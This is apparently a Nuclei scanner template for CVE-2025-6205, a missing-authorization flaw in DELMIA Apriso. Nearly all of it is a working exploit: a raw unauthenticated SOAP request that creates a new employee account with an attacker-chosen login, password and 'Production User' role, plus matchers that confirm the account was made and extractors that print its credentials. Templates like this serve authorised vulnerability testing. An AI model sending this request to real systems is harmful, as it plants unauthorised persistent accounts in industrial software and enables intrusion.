id: CVE-2025-6205 info: name: "DELMIA Apriso - Missing Authorization" author: vedas-arpsyndicate severity: high description: | A missing authorization vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could allow an attacker to gain privileged access to the application. reference: - https://www.exploit.observer/?keyword=CVE-2025-6205&match=exact - https://subdomain.center/?engine=ammonites&keyword=delmia&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2025-6205 cwe-id: CWE-862 metadata: verified: false tags: cve,cve2025,delmia,apriso,unauth,intrusive,vuln,kev,vkev variables: username: "LAST" password: "9" http: - raw: - | POST /Apriso/MessageProcessor/FlexNetMessageProcessor.svc HTTP/1.1 Host: {{Hostname}} Content-Type: text/xml;charset=utf-8 Soapaction: "http://tempuri.org/IFlexNetMessageProcessor/ProcessMessageASync_v2" <FlexNet_Employees xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="S:/SchemaRepository/XMLSchemas/FlexNet/FlexNet_Employees.xsd" Version="1.0"> <Employee> <GivenName>FIRST</GivenName> <FamilyName>LAST</FamilyName> <EmployeeNo>08262004</EmployeeNo> <LoginName>{{username}}</LoginName> <Password>{{password}}</Password> <HireDate>2000-06-01T00:00:00</HireDate> <SpokenLanguageID>1033</SpokenLanguageID> <WrittenLanguageID>1033</WrittenLanguageID> <EmployeeValidDate>2000-06-01T00:00:00</EmployeeValidDate> <LoginExpirationDate>9999-12-31T00:00:00</LoginExpirationDate> <EmployeeType>0</EmployeeType> <DefaultFacility>C1P1</DefaultFacility> <TrackLaborFlag>true</TrackLaborFlag> <ResourceID NodeType="Field"> <Resource_Insert> <Name>FIRST</Name> <ResourceName>FIRST</ResourceName> <ResourceType>1</ResourceType> <FUID NodeType="Field"/> </Resource_Insert> </ResourceID> <EmployeeRole> <EmployeeID NodeType="Field"/> <RoleID NodeType="Field"> <Role> <Role>Production User</Role> </Role> </RoleID> </EmployeeRole> </Employee> </FlexNet_Employees> myExternalApplication matchers: - type: word part: body words: - ProcessMessageASync_v2Response - true condition: and extractors: - type: dsl dsl: - '"Username: "+ username' - '"Password: "+ password'